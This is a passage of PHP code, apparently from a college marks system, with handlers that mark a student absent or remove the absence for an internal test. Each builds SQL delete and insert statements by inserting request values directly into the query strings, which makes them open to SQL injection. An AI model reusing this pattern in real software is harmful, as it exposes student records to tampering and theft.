$aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function makeStudentIaAbsent($aobj_context){ $degree = $aobj_context->mobj_data["fdegree"]; $sem = $aobj_context->mobj_data["fexamno"]; $regno = $aobj_context->mobj_data["regno"]; $classid = $aobj_context->mobj_data["fclassid"]; $subcode = $aobj_context->mobj_data["fsubcode"]; $testname = $aobj_context->mobj_data["ftestname"]; $collcode = $_SESSION['collcode']; $query1 = "delete from marksint where fregno='{$regno}' and fsubcode ='{$subcode}' and ftest='{$testname}' and fdegree='{$degree}' and fexamno='{$sem}'"; $result1 = $aobj_context->mobj_db->Execute($query1); $query = "insert into marksint(fdegree, fexamno, fcollcode, fregno, fsubcode, ftest, ftotal, facttotal) values('{$degree}', '{$sem}', '{$collcode}', '{$regno}', '{$subcode}', '{$testname}', '-2', '-2')"; $result = $aobj_context->mobj_db->Execute($query); if($result){ $arr['msg'] = "Saved Successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); }else{ $arr['msg'] = "failed to save"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function removeAbsentHandler($aobj_context){ $degree = $aobj_context->mobj_data["fdegree"]; $sem = $aobj_context->mobj_data["fexamno"]; $regno = $aobj_context->mobj_data["regno"]; $classid = $aobj_context->mobj_data["fclassid"]; $subcode = $aobj_context->mobj_data["fsubcode"]; $testname = $aobj_context->mobj_data["ftestname"]; $collcode = $_SESSION['collcode']; $query1 = "delete from marksint where fregno='{$regno}' and fsubcode ='{$subcode}' and ftest='{$testname}' and fdegree='{$degree}' and fexamno='{$sem}'"; $result1 = $aobj_context->mobj_db->Execute($query1); $query = "insert into marksint(fdegree, fexamno, fcollcode, fregno, fsubcode, ftest, ftotal, facttotal) values('{$degree}', '{$sem}', '{$collcode}', '{$regno}', '{$subcode}', '{$testname}', '-1', '-1')"; $result = $aobj_context->mobj_db->Execute($query); if($result){ $arr['msg'] = "Saved Successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); }else{ $arr['msg'] = "failed to save"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } ?>
Close